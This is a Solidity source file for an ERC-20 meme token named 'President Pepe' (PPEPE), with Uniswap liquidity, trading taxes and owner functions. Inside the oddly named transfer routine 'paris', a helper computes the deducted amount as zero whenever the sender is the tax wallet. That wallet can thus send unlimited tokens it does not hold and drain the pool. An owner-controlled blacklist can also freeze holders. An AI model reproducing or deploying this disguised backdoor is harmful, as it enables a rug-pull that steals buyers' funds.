文件 1 的 1:PPEPE.sol
pragma solidity 0.8.25;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PPEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private _feeExempt;
mapping(address => bool) private _bots;
address payable private _taxWallet;
uint256 private _initialBuyTax = 5;
uint256 private _initialSellTax = 5;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 7;
uint256 private _reduceSellTaxAt = 7;
uint256 private _preventSwapBefore = 7;
uint256 private _buyCount = 0;
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 690_420_000_000 * 10 ** decimals;
string public constant name = unicode"President Pepe";
string public constant symbol = unicode"PPEPE";
uint256 public _maxTxAmount = 2 * totalSupply / 100;
uint256 public _maxWalletSize = 2 * totalSupply / 100;
uint256 public _taxSwapThreshold = 11 * totalSupply / 1000;
uint256 public _maxTaxSwap = 11 * totalSupply / 1000;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _isTradingOpen;
bool private _isInSwap;
uint256 private _sellCnt = 0;
uint256 private lastBlockNumber = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
_isInSwap = true;
_;
_isInSwap = false;
}
constructor(address router_, address taxWallet_) {
_uniswapV2Router = IUniswapV2Router02(router_);
_taxWallet = payable(taxWallet_);
balanceOf[_msgSender()] = totalSupply;
_feeExempt[_msgSender()] = true;
_feeExempt[address(this)] = true;
_feeExempt[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), totalSupply);
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
paris(_msgSender(), recipient, amount);
return true;
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
paris(sender, recipient, amount);
_approve(
sender,
_msgSender(),
allowance[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function paris(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isTradingOpen || _isInSwap) {
require(_feeExempt[from] || _feeExempt[to]);
balanceOf[from] = balanceOf[from].sub(amount);
balanceOf[to] = balanceOf[to].add(amount);
emit Transfer(from, to, amount);
return;
}
uint256 transferAmount;
uint256 taxAmount = 0;
if (from != owner() && to != owner() && to != _taxWallet) {
require(!_bots[from] && !_bots[to]);
transferAmount = _getTransferAmount(from, amount);
if (
from == _uniswapV2Pair &&
to != address(_uniswapV2Router) &&
!_feeExempt[to]
) {
require(_isTradingOpen, "Trading not open yet");
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf[to] + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
taxAmount = amount
.mul(
(_buyCount > _reduceBuyTaxAt)
? _finalBuyTax
: _initialBuyTax
)
.div(100);
_buyCount++;
}
if (to == _uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
uint256 contractTokenBalance = balanceOf[address(this)];
if (
!_isInSwap &&
to == _uniswapV2Pair &&
_isTradingOpen &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore
) {
if (block.number > lastBlockNumber) {
_sellCnt = 0;
lastBlockNumber = block.number;
}
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxTaxSwap))
);
_sellCnt++;
}
if (to == _uniswapV2Pair) sendETHToFee(address(this).balance);
}
if (taxAmount > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
balanceOf[from] = balanceOf[from].sub(transferAmount);
balanceOf[to] = balanceOf[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function _getTransferAmount(address from, uint256 amount) private view returns (uint256 transferAmount) {
if(from != _taxWallet) transferAmount = amount * 100 / 10 / 10;
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = totalSupply;
_maxWalletSize = totalSupply;
emit MaxTxAmountUpdated(totalSupply);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function addBot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_bots[bots_[i]] = true;
}
}
function delBot(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
_bots[notbot[i]] = false;
}
}
function addLiquidity() external onlyOwner {
require(!_isTradingOpen, "trading is already open");
_approve(address(this), address(_uniswapV2Router), totalSupply);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf[address(this)],
0,
0,
owner(),
block.timestamp
);
IERC20(_uniswapV2Pair).approve(
address(_uniswapV2Router),
type(uint).max
);
}
function enableTrading() external onlyOwner {
_isTradingOpen = true;
}
receive() external payable {}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address)
.balanceOf(address(this))
.mul(percent)
.div(100);
IERC20(_address).transfer(owner(), _amount);
}
function rescueETH() external onlyOwner {
require(address(this).balance > 0);
payable(owner()).transfer(address(this).balance);
}
}